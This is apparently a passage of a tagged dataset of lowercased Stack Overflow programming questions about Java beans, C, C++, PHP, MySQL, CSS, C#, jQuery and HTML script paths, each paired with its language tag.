this.autoloadamt = autoloadamt;     this.procflag = procflag; }  public ch409diffid getid() {     return this.id; }  public void setid(ch409diffid id) {     this.id = id; }  public string getactdate() {     return this.actdate; }  public void setactdate(string actdate) {     this.actdate = actdate; }  public string getclerkno() {     return this.clerkno; }  public void setclerkno(string clerkno) {     this.clerkno = clerkno; }  public string getamt() {     return this.amt; }  public void setamt(string amt) {     this.amt = amt; }  public string getinvamt() {     return this.invamt; }  public void setinvamt(string invamt) {     this.invamt = invamt; }  public string getincamt() {     return this.incamt; }  public void setincamt(string incamt) {     this.incamt = incamt; }  public string getpfsamt() {     return this.pfsamt; }  public void setpfsamt(string pfsamt) {     this.pfsamt = pfsamt; }  public string getfee() {     return this.fee; }  public void setfee(string fee) {     this.fee = fee; }  public string getpfsfee() {     return this.pfsfee; }  public void setpfsfee(string pfsfee) {     this.pfsfee = pfsfee; }  public string getbeforeamt() {     return this.beforeamt; }  public void setbeforeamt(string beforeamt) {     this.beforeamt = beforeamt; }  public string getafteramt() {     return this.afteramt; }  public void setafteramt(string afteramt) {     this.afteramt = afteramt; }  public string getcardtype() {     return this.cardtype; }  public void setcardtype(string cardtype) {     this.cardtype = cardtype; }  public string getcardseqno() {     return this.cardseqno; }  public void setcardseqno(string cardseqno) {     this.cardseqno = cardseqno; }  public string getrwno() {     return this.rwno; }  public void setrwno(string rwno) {     this.rwno = rwno; }  public string getsamid() {     return this.samid; }  public void setsamid(string samid) {     this.samid = samid; }  public string getother() {     return this.other; }  public void setother(string other) {     this.other = other; }  public string getupdflag() {     return this.updflag; }  public void setupdflag(string updflag) {     this.updflag = updflag; }  public string getupdid() {     return this.updid; }  public void setupdid(string updid) {     this.updid = updid; }  public string getautoloadamt() {     return this.autoloadamt; }  public void setautoloadamt(string autoloadamt) {     this.autoloadamt = autoloadamt; }  public string getprocflag() {     return this.procflag; }  public void setprocflag(string procflag) {     this.procflag = procflag; }  } </code></pre>   <strong>ch490diffid:</strong>   this is bean   <pre><code>package bean; import java.util.date;  public class ch409diffid implements java.io.serializable {      private string storeno;     private string taskid;     private string regid;     private string transtype;     private string seqno;     private string cardno;     private string transdate;     private string transtime;     private string cardclass;      public ch409diffid() {     }      public ch409diffid(string storeno  string taskid  string regid              string transtype  string seqno  string cardno  string transdate              string transtime  string cardclass) {         this.storeno = storeno;         this.taskid = taskid;         this.regid = regid;         this.transtype = transtype;         this.seqno = seqno;         this.cardno = cardno;         this.transdate = transdate;         this.transtime = transtime;         this.cardclass = cardclass;     }      public string getstoreno() {         return this.storeno;     }      public void setstoreno(string storeno) {         this.storeno = storeno;     }      public string gettaskid() {         return this.taskid;     }      public void settaskid(string taskid) {         this.taskid = taskid;     }      public string getregid() {         return this.regid;     }      public void setregid(string regid) {         this.regid = regid;     }      public string gettranstype() {         return this.transtype;     }      public void settranstype(string transtype) {         this.transtype = transtype;     }      public string getseqno() {         return this.seqno;     }      public void setseqno(string seqno) {         this.seqno = seqno;     }      public string getcardno() {         return this.cardno;     }      public void setcardno(string cardno) {         this.cardno = cardno;     }      public string gettransdate() {         return this.transdate;     }      public void settransdate(string transdate) {         this.transdate = transdate;     }      public string gettranstime() {         return this.transtime;     }      public void settranstime(string transtime) {         this.transtime = transtime;     }      public string getcardclass() {         return this.cardclass;     }      public void setcardclass(string cardclass) {         this.cardclass = cardclass;     }      public boolean equals(object other) {         if ((this == other))             return true;         if ((other == null))             return false;         if (!(other instanceof ch409diffid))             return false;         ch409diffid castother = (ch409diffid) other;          return ((this.getstoreno() == castother.getstoreno()) || (this                 .getstoreno() != null &amp;&amp; castother.getstoreno() != null &amp;&amp; this                 .getstoreno().equals(castother.getstoreno())))                 &amp;&amp; ((this.gettaskid() == castother.gettaskid()) || (this                         .gettaskid() != null &amp;&amp; castother.gettaskid() != null &amp;&amp; this                         .gettaskid().equals(castother.gettaskid())))                 &amp;&amp; ((this.getregid() == castother.getregid()) || (this                         .getregid() != null &amp;&amp; castother.getregid() != null &amp;&amp; this                         .getregid().equals(castother.getregid())))                 &amp;&amp; ((this.gettranstype() == castother.gettranstype()) || (this                         .gettranstype() != null                         &amp;&amp; castother.gettranstype() != null &amp;&amp; this                         .gettranstype().equals(castother.gettranstype())))                 &amp;&amp; ((this.getseqno() == castother.getseqno()) || (this                         .getseqno() != null &amp;&amp; castother.getseqno() != null &amp;&amp; this                         .getseqno().equals(castother.getseqno())))                 &amp;&amp; ((this.getcardno() == castother.getcardno()) || (this                         .getcardno() != null &amp;&amp; castother.getcardno() != null &amp;&amp; this                         .getcardno().equals(castother.getcardno())))                 &amp;&amp; ((this.gettransdate() == castother.gettransdate()) || (this                         .gettransdate() != null                         &amp;&amp; castother.gettransdate() != null &amp;&amp; this                         .gettransdate().equals(castother.gettransdate())))                 &amp;&amp; ((this.gettranstime() == castother.gettranstime()) || (this                         .gettranstime() != null                         &amp;&amp; castother.gettranstime() != null &amp;&amp; this                         .gettranstime().equals(castother.gettranstime())))                 &amp;&amp; (this.getcardclass() == castother.getcardclass());     }      public int hashcode() {         int result = 17;          result = 37 * result                 + (getstoreno() == null   0 : this.getstoreno().hashcode());         result = 37 * result                 + (gettaskid() == null   0 : this.gettaskid().hashcode());         result = 37 * result                 + (getregid() == null   0 : this.getregid().hashcode());         result = 37 * result                 + (gettranstype() == null   0 : this.gettranstype().hashcode());         result = 37 * result                 + (getseqno() == null   0 : this.getseqno().hashcode());         result = 37 * result                 + (getcardno() == null   0 : this.getcardno().hashcode());         result = 37 * result                 + (gettransdate() == null   0 : this.gettransdate().hashcode());         result = 37 * result                 + (gettranstime() == null   0 : this.gettranstime().hashcode());         result = 37 * result + (getcardclass() == null   0 : this.getcardclass().hashcode());         return result;     }  } </code></pre>   <strong>ch409f:</strong>   this is bean   <pre><code>package bean;  import java.util.date; public class ch409f implements java.io.serializable {      private ch409fid id;     private string clerkno;     private string amt;     private string invamt;     private string incamt;     private string pfsamt;     private string fee;     private string pfsfee;     private string beforeamt;     private string afteramt;     private string cardtype;     private string cardseqno;     private string rwno;     private string samid;     private string autoloadamt;     private string other;     private string senddate;     private string updflag;     private string updid;     private string upddate;      public ch409f() {     }      public ch409f(ch409fid id  string updflag) {         this.id = id;         this.updflag = updflag;     }      public ch409f(ch409fid id  string clerkno  string amt  string invamt              string incamt  string pfsamt  string fee  string pfsfee              string beforeamt  string afteramt  string cardtype              string cardseqno  string rwno  string samid  string autoloadamt              string other  string senddate  string updflag  string updid              string upddate) {         this.id = id;         this.clerkno = clerkno;         this.amt = amt;         this.invamt = invamt;         this.incamt = incamt;         this.pfsamt = pfsamt;         this.fee = fee;         this.pfsfee = pfsfee;         this.beforeamt = beforeamt;         this.afteramt = afteramt;         this.cardtype = cardtype;         this.cardseqno = cardseqno;         this.rwno = rwno;         this.samid = samid;         this.autoloadamt = autoloadamt;         this.other = other;         this.senddate = senddate;         this.updflag = updflag;         this.updid = updid;         this.upddate = upddate;     }      public ch409fid getid() {         return this.id;     }      public void setid(ch409fid id) {         this.id = id;     }      public string getclerkno() {         return this.clerkno;     }      public void setclerkno(string clerkno) {         this.clerkno = clerkno;     }      public string getamt() {         return this.amt;     }      public void setamt(string amt) {         this.amt = amt;     }      public string getinvamt() {         return this.invamt;     }      public void setinvamt(string invamt) {         this.invamt = invamt;     }      public string getincamt() {         return this.incamt;     }      public void setincamt(string incamt) {         this.incamt = incamt;     }      public string getpfsamt() {         return this.pfsamt;     }      public void setpfsamt(string pfsamt) {         this.pfsamt = pfsamt;     }      public string getfee() {         return this.fee;     }      public void setfee(string fee) {         this.fee = fee;     }      public string getpfsfee() {         return this.pfsfee;     }      public void setpfsfee(string pfsfee) {         this.pfsfee = pfsfee;     }      public string getbeforeamt() {         return this.beforeamt;     }      public void setbeforeamt(string beforeamt) {         this.beforeamt = beforeamt;     }      public string getafteramt() {         return this.afteramt;     }      public void setafteramt(string afteramt) {         this.afteramt = afteramt;     }      public string getcardtype() {         return this.cardtype;     }      public void setcardtype(string cardtype) {         this.cardtype = cardtype;     }      public string getcardseqno() {         return this.cardseqno;     }      public void setcardseqno(string cardseqno) {         this.cardseqno = cardseqno;     }      public string getrwno() {         return this.rwno;     }      public void setrwno(string rwno) {         this.rwno = rwno;     }      public string getsamid() {         return this.samid;     }      public void setsamid(string samid) {         this.samid = samid;     }      public string getautoloadamt() {         return this.autoloadamt;     }      public void setautoloadamt(string autoloadamt) {         this.autoloadamt = autoloadamt;     }      public string getother() {         return this.other;     }      public void setother(string other) {         this.other = other;     }      public string getsenddate() {         return this.senddate;     }      public void setsenddate(string senddate) {         this.senddate = senddate;     }      public string getupdflag() {         return this.updflag;     }      public void setupdflag(string updflag) {         this.updflag = updflag;     }      public string getupdid() {         return this.updid;     }      public void setupdid(string updid) {         this.updid = updid;     }      public string getupddate() {         return this.upddate;     }      public void setupddate(string upddate) {         this.upddate = upddate;     }  } </code></pre>   <strong>ch409fid:</strong>   this is bean   <pre><code>package bean;  import java.util.date; public class ch409fid implements java.io.serializable {      private string storeno;     private string actdate;     private string taskid;     private string regid;     private string transtype;     private string seqno;     private string cardno;     private string transdate;     private string transtime;     private string cardclass;      public ch409fid() {     }      public ch409fid(string storeno  string actdate  string taskid  string regid              string transtype  string seqno  string cardno  string transdate              string transtime  string cardclass) {         this.storeno = storeno;         this.actdate = actdate;         this.taskid = taskid;         this.regid = regid;         this.transtype = transtype;         this.seqno = seqno;         this.cardno = cardno;         this.transdate = transdate;         this.transtime = transtime;         this.cardclass = cardclass;     }      public string getstoreno() {         return this.storeno;     }      public void setstoreno(string storeno) {         this.storeno = storeno;     }      public string getactdate() {         return this.actdate;     }      public void setactdate(string actdate) {         this.actdate = actdate;     }      public string gettaskid() {         return this.taskid;     }      public void settaskid(string taskid) {         this.taskid = taskid;     }      public string getregid() {         return this.regid;     }      public void setregid(string regid) {         this.regid = regid;     }      public string gettranstype() {         return this.transtype;     }      public void settranstype(string transtype) {         this.transtype = transtype;     }      public string getseqno() {         return this.seqno;     }      public void setseqno(string seqno) {         this.seqno = seqno;     }      public string getcardno() {         return this.cardno;     }      public void setcardno(string cardno) {         this.cardno = cardno;     }      public string gettransdate() {         return this.transdate;     }      public void settransdate(string transdate) {         this.transdate = transdate;     }      public string gettranstime() {         return this.transtime;     }      public void settranstime(string transtime) {         this.transtime = transtime;     }      public string getcardclass() {         return this.cardclass;     }      public void setcardclass(string cardclass) {         this.cardclass = cardclass;     }      public boolean equals(object other) {         if ((this == other))             return true;         if ((other == null))             return false;         if (!(other instanceof ch409fid))             return false;         ch409fid castother = (ch409fid) other;          return ((this.getstoreno() == castother.getstoreno()) || (this                 .getstoreno() != null &amp;&amp; castother.getstoreno() != null &amp;&amp; this                 .getstoreno().equals(castother.getstoreno())))                 &amp;&amp; ((this.getactdate() == castother.getactdate()) || (this                         .getactdate() != null &amp;&amp; castother.getactdate() != null &amp;&amp; this                         .getactdate().equals(castother.getactdate())))                 &amp;&amp; ((this.gettaskid() == castother.gettaskid()) || (this                         .gettaskid() != null &amp;&amp; castother.gettaskid() != null &amp;&amp; this                         .gettaskid().equals(castother.gettaskid())))                 &amp;&amp; ((this.getregid() == castother.getregid()) || (this                         .getregid() != null &amp;&amp; castother.getregid() != null &amp;&amp; this                         .getregid().equals(castother.getregid())))                 &amp;&amp; ((this.gettranstype() == castother.gettranstype()) || (this                         .gettranstype() != null                         &amp;&amp; castother.gettranstype() != null &amp;&amp; this                         .gettranstype().equals(castother.gettranstype())))                 &amp;&amp; ((this.getseqno() == castother.getseqno()) || (this                         .getseqno() != null &amp;&amp; castother.getseqno() != null &amp;&amp; this                         .getseqno().equals(castother.getseqno())))                 &amp;&amp; ((this.getcardno() == castother.getcardno()) || (this                         .getcardno() != null &amp;&amp; castother.getcardno() != null &amp;&amp; this                         .getcardno().equals(castother.getcardno())))                 &amp;&amp; ((this.gettransdate() == castother.gettransdate()) || (this                         .gettransdate() != null                         &amp;&amp; castother.gettransdate() != null &amp;&amp; this                         .gettransdate().equals(castother.gettransdate())))                 &amp;&amp; ((this.gettranstime() == castother.gettranstime()) || (this                         .gettranstime() != null                         &amp;&amp; castother.gettranstime() != null &amp;&amp; this                         .gettranstime().equals(castother.gettranstime())))                 &amp;&amp; (this.getcardclass() == castother.getcardclass());     }      public int hashcode() {         int result = 17;          result = 37 * result                 + (getstoreno() == null   0 : this.getstoreno().hashcode());         result = 37 * result                 + (getactdate() == null   0 : this.getactdate().hashcode());         result = 37 * result                 + (gettaskid() == null   0 : this.gettaskid().hashcode());         result = 37 * result                 + (getregid() == null   0 : this.getregid().hashcode());         result = 37 * result                 + (gettranstype() == null   0 : this.gettranstype().hashcode());         result = 37 * result                 + (getseqno() == null   0 : this.getseqno().hashcode());         result = 37 * result                 + (getcardno() == null   0 : this.getcardno().hashcode());         result = 37 * result                 + (gettransdate() == null   0 : this.gettransdate().hashcode());         result = 37 * result                 + (gettranstime() == null   0 : this.gettranstime().hashcode());         result = 37 * result + (getcardclass() == null   0 : this.getcardclass().hashcode());          return result;     }  } </code></pre>,java
returning int array when return type is int *  i have a function that is described like this   <pre><code>int * oddnumbers(l  r  int* result_size){    static int res[r-l];    int index = 0;    while(l &lt; r){       if(l % 2 != 0){          res[index] = l;          index++;       }       l++;     }    result_size = &amp;index;    return res; } </code></pre>   it is a problem question i have been given to solve. what i don t understand is how to return an integer array. i have looked up multiple ways to do this. declaring the variable static  and allocating memory for the variable.     i know the industry method for doing this is allowing the caller to allocate memory for the return value. but  unfortunately i do not have access to that part of the program only this function.     any help would be greatly appreciated.,c
comma operator failed to update the input parameter for the base class construction  i have the following code  which takes advantage of the comma operator in the initialization list.   <pre><code>#include &lt;iostream&gt;  using namespace std;  class base {     protected:         int b;     public:         base(int a):b(a){} };  class a:public base {     private:         const int i;         const int j;         void inc(int &amp; a  int &amp; b) {a++; b++;}     public:         a(int a  int b):i((inc(a b) a)) j(b) base(a+b){}         void print(){cout&lt;&lt;i&lt;&lt;   &lt;&lt;j&lt;&lt;   &lt;&lt;b&lt;&lt;endl;} };  int main() {     a a(6 7);     a.print();     return 0; } </code></pre>   i am expecting the results to be:   <pre><code>7  8  15 </code></pre>   but it turned out to be:   <pre><code>7  8  13 </code></pre>   it seems that  a  and  b  was not incremented when used to construct the base class. not sure why...,c++
capturing a user s  enter  keystroke in c  i m starting to learn c now and i m trying to figure out how i would go about capturing when the user hits  enter.   i m looking particularly at the scanf and getc functions but i m not quite sure how to go about it.  when the user hits enter i want to perform some operations while waiting/watching for him to hit enter again...  is  enter  a new line character coming in from the console   any advice would be much appreciated!,c
how do i change a column flag in mysql   say i had a column that didn t have the unique constraint  how do i add that constraint     if this is possible  how do i make sure the elements already in the column adhere to that constraint,mysql
css: div height take all available space of the parent  i have this:   <pre><code>&lt;div id= main &gt;   &lt;div id= header &gt;&lt;/div&gt;   &lt;div id= content &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   i want that content take all remaining space of the parent  but when i added height: 100% in css it takes exactly 100% of the parent height. how to set the height of the content div to height of the parent - height of the header,css
keep on regenerating a new id and checking the data base till the condition is met   i have this script that creates a unique applicant id for a form application and if the user is ever in a situation were their generated id already exist in the     database  i want the if condition to keep on running and checking the database till there is not a match id in the database so that user can obtain a unique id     for them self. how would i do something like that  i want them to eventually move on to the else condition if a unique id has been generated     i m stuck how i can do this. this is my code    <pre><code>&lt; php  /*&lt;generate a unique applicant id&gt;*/  $applicant_id_characters=  0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz-_ ; $applicant_generation_id =   ; for ($i = 0; $i &lt; 11; $i++){     $applicant_generation_id .= $applicant_id_characters[mt_rand(0  63)]; }  /*&lt;/generate a unique applicant id&gt;*/  /*&lt;check if a unique applicant id exist or not. response&gt;*/  $db_servername=  localhost ; $db_username=  jd ; $db_password=  1234 ; $db_name= example_1234 ;  $db_connect= new mysqli($db_servername $db_username $db_password $db_name);  $db_query=  select*from applications where applicant_id=  $applicant_generation_id  ;  $db_result= $db_connect-&gt;query($db_query);  if($db_result-&gt;num_rows = 1){     /*keep on regenerating a unique id till there is not a match      in the database and then move onto the else condition. how   */      $applicant_id_characters=  0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz-_ ;     $applicant_generation_id =   ;     for ($i = 0; $i &lt; 11; $i++){         $applicant_generation_id .= $applicant_id_characters[mt_rand(0  63)];     }   //   } else{     $applicant_id= $applicant_generation_id; }  /*&lt;/check if a unique applicant id exist or not. response&gt;*/  echo  you’re unique id is  .$applicant_id;   &gt; </code></pre>,php
the css file does not change the tables in html file  this is a css text  i want to give all the tables in html pages a border with width 1px. but the html files are not reading this why  i can t see any borders in html files!!!!   <pre><code>&lt;!-- &lt;style type= text/css &gt; --&gt; body{background-color:pink; } input{background-color:green; font-color=blue; }   table.center {     margin-left:auto;      margin-right:auto;     border-width:10px solid;    } .testext{color:gray}; &lt;!-- &lt;/style&gt; --&gt; </code></pre>,css
give paragraph effect through css  can you tell me how to give paragraph effect to my paragraph using css     for example:   <pre><code>               this is my paragraph. this is my paragraph. this is my paragraph.  this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph.  this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph.  this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph.  this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph. this is my paragraph.  </code></pre>   see the padding in the first line. i wantthat,css
strange character appearing in subject of email sent with php  i  am sending html email using <a href= http://php.net/manual/en/function.mail.php  rel= nofollow >php mail function</a>  in my subject of the email i can something like this.   <pre><code>just one more step - confirm your accountâ€  </code></pre>   i can t figure it out how that  <strong>â€</strong>  came in  <strong>accountâ€</strong>   because i never put it up on the variable. below are the codes.     <strong>function being called</strong>   <pre><code>$html = template_registration($name  $email  $user_code); sendmail($html  $email  $name   just one more step - confirm your account‏ );   function sendmail($html  $to  $name  $subject){     require_once( site_path .  /framework/phpmailer/phpmailerautoload.php  );     $mail = new phpmailer;     $mail-&gt;issendmail();     $mail-&gt;setfrom( notifications@example.com    example );     $mail-&gt;addaddress($to  $name);     $mail-&gt;subject = $subject;     $mail-&gt;msghtml($html);     if ( $mail-&gt;send() ) {         return true;     } } </code></pre>   please help  i even don t know what to search on google.,php
is cancellationtokensource shutting down correctly  here s the entry point:   <pre><code>public class program {     private static readonly cancellationtokensource tokensource = new cancellationtokensource();      public static void main(string[] args)     {         // start the app         new bootstrap()             .runasync(tokensource.token)             .wait();          console.cancelkeypress += (sender  eventargs) =&gt;         {             tokensource.cancelafter(500);         };     } } </code></pre>   here s the bootstrap:   <pre><code>public class bootstrap : ibootstrap {     private readonly iserver server;      private readonly ilogger logger;      public bootstrap(         iserver server          ilogger logger)     {         this.server = server;         this.logger = logger;     }      public async task runasync(cancellationtoken token)     {         this.logger.info( application starting... );          await this.server.startasync(token);     } } </code></pre>   here s the server:   <pre><code>public abstract class baseserver : iserver {     private readonly ipaddress ipaddress;      private readonly int port;      private readonly ilogger logger;      protected baseserver(         string ipaddress           int port          ilogger logger)     {         this.ipaddress = ipaddress.parse(ipaddress);         this.port = port;         this.logger = logger;     }      public async task startasync(cancellationtoken token)     {         this.logger.debug( [{0}] listening for connections using: {1}:{2}   this.gettype().name  this.ipaddress.tostring()  this.port);         var tcplistener = new tcplistener(this.ipaddress  this.port);          tcplistener.start();          while (!token.iscancellationrequested)         {             await this.serverprocessorasync(tcplistener  token);         }          tcplistener.stop();         console.writeline( stopped listener );     }      public abstract task serverprocessorasync(tcplistener listener  cancellationtoken token); } </code></pre>   here s the server processor:   <pre><code>public class server : baseserver {     private readonly ilogger logger;      public server(         iappconfiguration configuration          ilogger logger)          : base(configuration.ipaddress  configuration.port  logger)     {         this.logger = logger;     }      public override async task serverprocessorasync(tcplistener listener  cancellationtoken token)     {         this.logger.debug( [{0}] waiting for connection...   this.gettype().name);         var client = await listener.accepttcpclientasync();          this.logger.debug( [{0}] spawning thread for connection...   this.gettype().name);         parallel.invoke(new paralleloptions             {                 cancellationtoken = token                  maxdegreeofparallelism = 10000                  taskscheduler = taskscheduler.current             }  () =&gt; this.listentoclient(client));     }      private void listentoclient(tcpclient client)     {         var threadname = thread.currentthread.name;          var bytes = new byte[2048];          var stream = client.getstream();          int i;         while ((i = stream.read(bytes  0  bytes.length)) != 0)         {             var timestring = datetime.now.tolongtimestring();             var currentres = encoding.utf8.getstring(bytes);             var received = $ recieved [{threadname}] [{timestring}]:  {currentres} ;              this.logger.info(received);             var responsedata = encoding.utf8.getbytes(received);             stream.write(responsedata  0  responsedata.length);          }          client.close();     } } </code></pre>   will this correctly shut the app down when <code>ctrl+c</code> is pressed     is there a way to debug this  or to know that the resources have been released properly.    i assume that the <code>while (!token.iscancellationrequested)</code> will break when <code>ctrl+c</code>. i also assume that that if there are any threads created by <code>parallel.invoke</code> they will disposed of when the <code>cancel</code> is called.    if in the case that:   <pre><code>console.cancelkeypress += (sender  eventargs) =&gt; {      tokensource.cancelafter(500); }; </code></pre>   doesn t wait for things to be cleared up  is there a better way than a timeout to make sure that everything is properly cleared up,c#
class member functions static and private  does it make sense to have some class member function say f() both private and static  e.g.   <pre><code>class myclass {  ... private:  static int foo(); } </code></pre>   thanks.    hi thanks for all your comments! ok  i got it. yes  indeed initially i started using static functions in my class because they were not related to the objects of my class- were doing some other operations. now i also realized they needn t be public. so  i think i ll leave them like this. i started to get some errors when i removed static keyword (apparently due to the way it was used throughout class  so i am lazy now to fix those  will just make it private and leave static :)).,c++
when do you have to use @property and @synthesize in the iphone sdk   when do you have to use <code>@property</code> and <code>@synthesize</code> in the iphone sdk  and why use <code>@property</code> and <code>@synthesize</code>  i was studying property  but i can t get a correct idea. what would some examples for illustrating this be,iphone
daily weekly and monthly calendar view in asp.net  i want to a calendar with daily weekly and monthly view of the events.     actually i want to have a calendar which can be bind with database to retrieve the different events. and we can show the events in daily weekly and monthly view.     i have tried on google but couldn t find anything helpful. after searching for a long time i would prefer to put it here.    i know you guys are very helpful.    thanks  rajbir,asp.net
change the position of a table in page using css  i have a table and it is at the end of the page:   <pre><code>&lt;table class= fes-display-field-table fes-submission-form-display-field-table &gt; &lt;/table&gt; </code></pre>   now i want move that table to between:   <pre><code>&lt;h2 class= section-title &gt;&lt;span&gt;giới thiệu về dịch vụ&lt;/span&gt;&lt;/h2&gt; table here &lt;article id= post-8306  class= post-8306 type-download status-publish format-standard hentry...&gt; </code></pre>   is there any way to do it with css  here is my css file: <a href= https://jsfiddle.net/wcq1ft3k/  rel= nofollow >https://jsfiddle.net/wcq1ft3k/</a>,css
textbox textmode: date do not recognize  hello i have textbox textmode : date in my project and it worked fine . but when i start project in another laptop this textmode it s not date anymore . it s singleline . why is that,asp.net
how to add all possible attributes (including other directives) in my directive   i m trying to create a directive like so:    mytemplate.html:   <pre><code>&lt;div class= mywidget &gt;     &lt;input type= text  class= someclass blah blah  ng-model= mymodel  ng-change= mychange  /&gt; &lt;/div&gt; </code></pre>   mydirective:   <pre><code>(function () {      use strict ;      angular         .module( myapp.mywidgets.somewidget )         .directive( somewidget   somewidget);      somewidget.$inject = [ $timeout ];      function somewidget($timeout) {          return {             restrict:  ea               templateurl:  mytemplate.html               link: link              require:  ngmodel               scope: {                 mymodel:  =ngmodel                   mychange:  &amp;ngchange                   // add all other possible attributes here. but i dont think that s practical.             }         };          function link(scope  elm  attr) {         }     } })(); </code></pre>   usage:   <pre><code>&lt;some-widget ng-model= somemodel  .... &gt; &lt;/some-widget&gt; </code></pre>   now what if i want to add other stuff like ng-show  ng-hide  ng-change  i dont think it s practical to add all of them one by one. is there any way to add them without specifying them on the scope one by one  this directive will be used by so many pages so i can t predict what other attributes or directives other will people will add.    thank you.,angularjs
error comes while adding admob in android studio  this is my gradle code of file   <pre><code>apply plugin:  com.android.application       android {          compilesdkversion 24          buildtoolsversion  24.0.3          defaultconfig {             applicationid  com.example.administrator.shawarma              minsdkversion 15             targetsdkversion 24             versioncode 1             versionname  1.0              testinstrumentationrunner  android.support.test.runner.androidjunitrunner              multidexenabled true         }         buildtypes {             release {                 minifyenabled false                 proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro              }         }}dependencies {         compile filetree(dir:  libs   include: [ *.jar ])         androidtestcompile( com.android.support.test.espresso:espresso-core:2.2.2   {             exclude group:  com.android.support   module:  support-annotations          })         compile  com.android.support:appcompat-v7:24.2.1          compile  com.google.firebase:firebase-ads:10.0.1          compile  com.google.android.gms:play-services-appindexing:8.4.0          testcompile  junit:junit:4.12 }apply plugin:  com.google.gms.google-services  </code></pre>   it s showing error in log cat like this while running   <pre><code>error:execution failed for task  :app:transformclasseswithjarmergingfordebug . &gt; com.android.build.api.transform.transformexception: java.util.zip.zipexception: duplicate entry: com/google/android/gms/internal/zzqb.class </code></pre>,android
mysql- how to query to get rows between certain years  i am trying to get back rows that are between year ranges  such as from 0-5 years  5-10 years  10-15 etc.    so far  i ve only been able to product between 0-5 but need some help on querying between 5-10 years etc.    <pre><code>select *  from users  where start_date &gt;= date_sub(now() interval 5 year) </code></pre>   i ve tried using the between function  but could be using it incorrectly. open to suggestions.     i m not a fan of hard coding values in for the dates because i don t want to go back every few years and change it.,mysql
multiple condition selector in jquery  i have the following code  and i want to select the element with type = text and id of  announcement_date . how would i do this in jquery  note that both the elements have same id. this is in a legacy classic asp page i am working with.   <pre><code>&lt;input type= hidden  name= announcement_date  id= announcement_date  value= 1111 &gt;&lt;/input&gt; &lt;input type= text  name= announcement_date  id= announcement_date  value= 323 &gt;&lt;/input&gt; &lt;input type= text  name= eff_date  id= eff_date  value= 123 &gt;&lt;/input&gt; &lt;input type= text  name= end_date  id= end_date  value= 123 &gt;&lt;/input&gt; </code></pre>   i tried the selector below  but it fails to select the correct element.   <pre><code>$( #announcement_date type=text ).addclass( error ); </code></pre>,jquery
include stylesheet only for desktop browsers  i can include the stylesheet for different resolutions like this:   <pre><code>&lt;link rel= stylesheet  media= screen and (min-device-width: 800px)  href= min800.css  /&gt; </code></pre>   but i want to include my stylesheet only for desktop browsers not ipad  ios  mobile browsers.    how can i use,css
better way to truncate an item in a list of lists  i have a long list of lists where the first element in a list is a long string and i need to truncate to a shorter string.<br> i am currently iterating through the lists twice.  once to shorted the first element and the second to format for output:   <pre><code>for i in range(len(prefdata)):     temp = prefdata[i][0]     temp = temp[:40]     prefdata[i][0] = temp  for row in prefdata:     print( formatting strings .format(*row)) </code></pre>   is there a way to just iterate through the list once and include a truncating step in the second iteration   i want to change the list elements in place and not just truncate for output.,python
two sql count() queries   i want to count both the total # of records in a table  and the total # of records that match certain conditions. i can do these with two separate queries:   <pre><code>select count(*) as totalcount from mytable; select count(*) as qualifiedcount from mytable   {possible join(s) as well e.g. join myothertable mot on mytable.id=mot.id}    where {conditions}; </code></pre>   is there a way to combine these into one query so that i get two fields in one row    <pre><code>select {something} as totalcount     {something else} as qualifiedcount    from mytable {possible join(s)} where {some conditions} </code></pre>   if not  i can issue two queries and wrap them in a transaction so they are consistent  but i was hoping to do it with one.    edit: i m most concerned about atomicity; if there are two sub-select statements needed that s ok as long as if there s an insert coming from somewhere it doesn t make the two responses inconsistent.    edit 2: the case answers are helpful but in my specific instance  the conditions may include a join with another table (forgot to mention that in my original post  sorry) so i m guessing that approach won t work.,sql
make css adapt to screen size  i recently created a website for my bachelor thesis. i used percentages for the css part in order for the site to adapt on any screen size. however when i view the site from different screen sizes the various divs don t adapt well on the screen and the general layout of the page looks like a big mess. how can i address this problem in order to make it look the same on all the screen sizes  i can t link the site because it is on my universities server and can only be accessed once you are connected to that network. thanks.,css
interface builder and memory management <pre><code>@property (nonatomic  retain)iboutlate uitextfield *username; </code></pre>   this property is to connect with textfield in ib.   <ol> <li> can we write <code>[username release]</code> in <code>dealloc</code> to free the memory or it will be handled by ib. </li> <li> can i write <code>@property(nonatomic  copy)iboutlate uitextfield *username;</code> </li> </ol>,iphone
script tag without preceding slash is going to root  this problem should be so simple that i m embarrased to ask  but i m not understanding what it is happening.     i have a very very simple html file  which references only one javascript file through an script tag. when this html file is served from the root of the domain it works perfectly. however  when it is served from a subpath it does not work.    the reason is because the browser is asking for the script tag to the root of the domain  which is obviously wrong.    the html file is as follows:    <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt;     &lt;head&gt;         &lt;meta charset= utf-8 &gt;         &lt;meta name= viewport  content= width=device-width initial-scale=1 &gt;         &lt;link rel= manifest  href= manifest.json &gt;         &lt;meta name= mobile-web-app-capable  content= yes &gt;         &lt;title&gt;licenses manager&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;noscript&gt;             if you re seeing this message  that means &lt;strong&gt;javascript has been disabled on your browser&lt;/strong&gt;               please &lt;strong&gt;enable js&lt;/strong&gt;             to make this app work.         &lt;/noscript&gt;         &lt;div id= app &gt;&lt;/div&gt;         &lt;script type= text/javascript  src= main.82f885da14b87d36c0f1.js &gt;&lt;/script&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   as you can see  the script tag does not have any preceding slash <code>/</code>  so it should be interpreted as relative to the current domain. however  if i inspect the network tab i can see that the browser is asking to the root of the domain <code>https://example.com/main.82f885...js</code>    why does this happen     ** edit for clarify**    i m sorry about not explicitly saying that both files are at the same level. the sub path is being added by a load balancer. files are like this on the public folder:    |- index.html    |- main.82f885da14b87d36c0f1.js    and the load balancer has a rule to send request to <code>/licenses</code> to an specific server. so  if the browsers asks for <code>http://example.com/licenses/main.js</code> then the correct file is served. however  instead of keeping the requests under the same sub-path  the browser is asking to the root of the domain.,html
